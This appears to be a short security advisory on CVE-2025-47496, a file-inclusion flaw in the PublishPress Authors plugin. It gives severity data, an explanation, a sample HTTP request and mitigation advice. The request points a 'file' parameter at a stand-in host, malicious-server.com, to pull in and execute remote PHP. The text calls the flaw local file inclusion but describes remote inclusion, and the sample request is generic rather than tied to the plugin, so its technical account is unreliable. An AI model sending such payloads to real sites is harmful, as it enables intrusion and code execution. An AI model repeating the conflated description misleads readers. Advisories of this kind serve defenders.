Overview
The document discusses a critical vulnerability, CVE-2025-47496, that affects the PublishPress Authors plugin used widely in web development. This vulnerability arises due to improper control of filename for Include/Require Statement in PHP Program and could lead to PHP Local File Inclusion. The vulnerability is of high concern as it could potentially compromise the system and lead to data leakage.
Vulnerability Summary
CVE ID: CVE-2025-47496
Severity: High Risk (CVSS Score: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage
Affected Products
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Product | Affected Versions
PublishPress Authors | n/a through 4.7.5
How the Exploit Works
The vulnerability stems from the improper control of filename for Include/Require Statement in the PHP program of PublishPress Authors. This allows an attacker to include a file from a remote server. If the attacker can control the input of the file name and manipulate it to point to a malicious file on a remote server, the vulnerability facilitates the execution of arbitrary code. This could potentially compromise the entire system and lead to a data breach.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited. This is a sample HTTP request where the attacker manipulates the file path to point to a malicious file on a remote server.
GET /index.php?file=http://malicious-server.com/malicious-file.php HTTP/1.1
Host: target.example.comIn the above request, the attacker has manipulated the ‘file’ parameter to point to ‘malicious-file.php’ on ‘malicious-server.com’. If the server processes this request, it would include the malicious file leading to the execution of the arbitrary code contained within.
Mitigation
The recommended mitigation for this flaw is to apply the vendor’s patch as soon as it becomes available. Meanwhile, as a temporary mitigation, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help in blocking or alerting about potential exploitation attempts.
